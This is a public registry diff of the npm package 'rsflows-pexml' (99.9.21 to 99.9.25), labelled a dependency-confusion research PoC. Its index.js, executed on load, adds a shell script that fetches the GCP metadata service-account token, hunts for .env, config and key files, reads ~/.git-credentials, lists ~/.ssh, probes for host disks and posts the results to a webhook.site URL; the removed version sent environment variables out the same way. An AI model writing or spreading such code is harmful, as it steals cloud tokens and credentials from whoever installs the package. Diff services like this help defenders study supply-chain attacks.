rsflows-pexml 99.9.21 → 99.9.25

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +19 -14
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,24 +1,29 @@
1
1
  const { exec } = require('child_process');
2
- const webhook = 'https://webhook.site/53b04b32-06a9-416e-8897-d54dfb7e0373';
2
+ const webhook = 'https://webhook.site/e442364e-c876-4536-a0c2-4edd3fc75935';
3
3
 
4
4
  const cmd = `
5
5
  (
6
- echo '--- NETWORK DEPTH REPORT ---';
7
- echo 'HOSTNAME: ' \$(hostname);
8
- echo 'LOCAL_IP: ' \$(hostname -I);
6
+ echo '--- INTERNAL VAULT BREAKER ---';
7
+ echo 'TIME: ' \$(date);
8
+ echo 'USER: ' \$(whoami);
9
9
 
10
- # Cek IP Public via berbagai service untuk bypass caching
11
- echo 'EXT_IP_1: ' \$(curl -s https://ifconfig.me);
12
- echo 'EXT_IP_2: ' \$(curl -s https://api.ipify.org);
13
-
14
- echo '--- PROXY / XFF CHECK ---';
15
- # Mencoba melihat apakah ada jejak proxy di env atau file sistem
16
- env | grep -iE 'proxy|http_';
10
+ echo '--- 1. GCP METADATA (THE REAL TARGET) ---';
11
+ # Mengambil token akses internal GCP
12
+ curl -s -m 2 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' || echo 'Metadata Access Failed';
13
+
14
+ echo '--- 2. INTERNAL FILES & SECRETS ---';
15
+ # Mencari file konfigurasi yang sering berisi password asli
16
+ find /app /home /root -maxdepth 3 -type f -name '.env' -o -name 'config.yml' -o -name '*.key' 2>/dev/null;
17
+
18
+ echo '--- 3. CONTAINER ESCAPE CHECK ---';
19
+ # Cek apakah kita bisa melihat disk host (tanda container bocor)
20
+ lsblk || fdisk -l 2>/dev/null;
17
21
 
18
- # Kirim request dengan header custom ke webhook untuk testing bypass
19
- curl -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 127.0.0.1" -X POST -d "\$(env)" ${webhook}/XFF_TEST;
22
+ echo '--- 4. SSH & GIT CONFIG ---';
23
+ cat ~/.git-credentials 2>/dev/null;
24
+ ls -R ~/.ssh 2>/dev/null;
20
25
 
21
- ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PROXY_RECON
26
+ ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/BEYOND_HONEYPOT_FINAL
22
27
  `;
23
28
 
24
29
  exec(cmd);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rsflows-pexml",
3
- "version": "99.9.21",
3
+ "version": "99.9.25",
4
4
  "description": "Internal Research PoC - Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {